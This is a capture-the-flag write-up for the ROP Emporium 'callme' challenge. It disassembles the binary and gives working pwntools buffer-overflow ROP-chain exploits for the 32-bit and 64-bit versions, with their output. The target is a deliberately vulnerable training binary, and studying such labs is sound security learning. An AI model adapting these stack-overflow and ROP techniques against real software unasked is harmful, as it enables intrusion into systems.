callme

Analysis

As per the instructions on the website

You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag.

So let's look at our friend usefulFunction.

pwndbg> disass usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804880c <+0>:     push   ebp
   0x0804880d <+1>:     mov    ebp,esp
   0x0804880f <+3>:     sub    esp,0x8
   0x08048812 <+6>:     sub    esp,0x4
   0x08048815 <+9>:     push   0x6
   0x08048817 <+11>:    push   0x5
   0x08048819 <+13>:    push   0x4
   0x0804881b <+15>:    call   0x80485b0 <callme_three@plt>
   0x08048820 <+20>:    add    esp,0x10
   0x08048823 <+23>:    sub    esp,0x4
   0x08048826 <+26>:    push   0x6
   0x08048828 <+28>:    push   0x5
   0x0804882a <+30>:    push   0x4
   0x0804882c <+32>:    call   0x8048620 <callme_two@plt>
   0x08048831 <+37>:    add    esp,0x10
   0x08048834 <+40>:    sub    esp,0x4
   0x08048837 <+43>:    push   0x6
   0x08048839 <+45>:    push   0x5
   0x0804883b <+47>:    push   0x4
   0x0804883d <+49>:    call   0x80485c0 <callme_one@plt>
   0x08048842 <+54>:    add    esp,0x10
   0x08048845 <+57>:    sub    esp,0xc
   0x08048848 <+60>:    push   0x1
   0x0804884a <+62>:    call   0x80485e0 <exit@plt>
End of assembler dump.

So we have all the three required function calls, but in reverse order, and with different parameters, so calling this function won't get use the flag we are looking for, but we have function calls available to us in the PLT, which is good.

So we'll have to build a ROP chain to call these three functions, in the right order (one, two, three) and with right parameters (1, 2, 3).

32 bit

So we have the PLT addresses available for the three function calls.

callme_one - 0x80485c0
callme_two - 0x8048620
callme_three - 0x80485b0

The offset to EIP is at 44 bytes.

So our exploit should look something like this

JUNK + Call to one + JUMP TO call two + 1 + 2 + 3 -> Repeat

So now we have to find a way to jump pass the 3 parameters and call the other function once the first function is done execution. In this case I found a ROP gadget that pops the value from stack into 3 different registers and then returns back to the stack.

0x080488a9 : pop esi ; pop edi ; pop ebp ; ret

So now our exploit will look something like this.

JUNK + call_one + ROP_GADGET + 1 + 2 + 3 + call_two > Repeat

So let's construct the exploit and get our flag. Note:

exploit.py
from pwn import *

offset =  "A"*44
call_one = p32(0x80485c0) + p32(0x080488a9) + p32(1) + p32(2) + p32(3)
call_two = p32(0x8048620) + p32(0x080488a9) + p32(1) + p32(2) + p32(3)
call_thr = p32(0x80485b0) + "JUNK" + p32(1) + p32(2) + p32(3)

print offset + call_one + call_two + call_thr
$ python exploit.py > exploit.payload 
$ cat exploit.payload | ./callme32 
callme by ROP Emporium
32bits

Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}Segmentation fault

64 bit

So due to change in how parameters are passed to x64 architecture systems, we'll have to alter our exploit generation process. Now our exploit will look something like this

Gadget_to_load_parameters + Parameters + Function Call > Repeat

So in x64 parameters are loaded in this order, RDI, RSI, RDX, and so on. Apparently we were able to find a gadget that just that did.

0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret

And the PLT addresses for the functions were available from the disassembly of the usefulFunction.

0x401850 - ONE
0x401870 - TWO
0x401810 - THREE

So now let's construct our final exploit and get the flag.

from pwn import *

offset = "A"*40
one = p64(0x401ab0) + p64(1) + p64(2) + p64(3) + p64(0x401850)
two = p64(0x401ab0) + p64(1) + p64(2) + p64(3) + p64(0x401870)
three = p64(0x401ab0) + p64(1) + p64(2) + p64(3) + p64(0x401810)

print offset + one + two + three
$ python exploit.py > exploit.payload; cat exploit.payload | ./callme 
callme by ROP Emporium
64bits

Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}

Last updated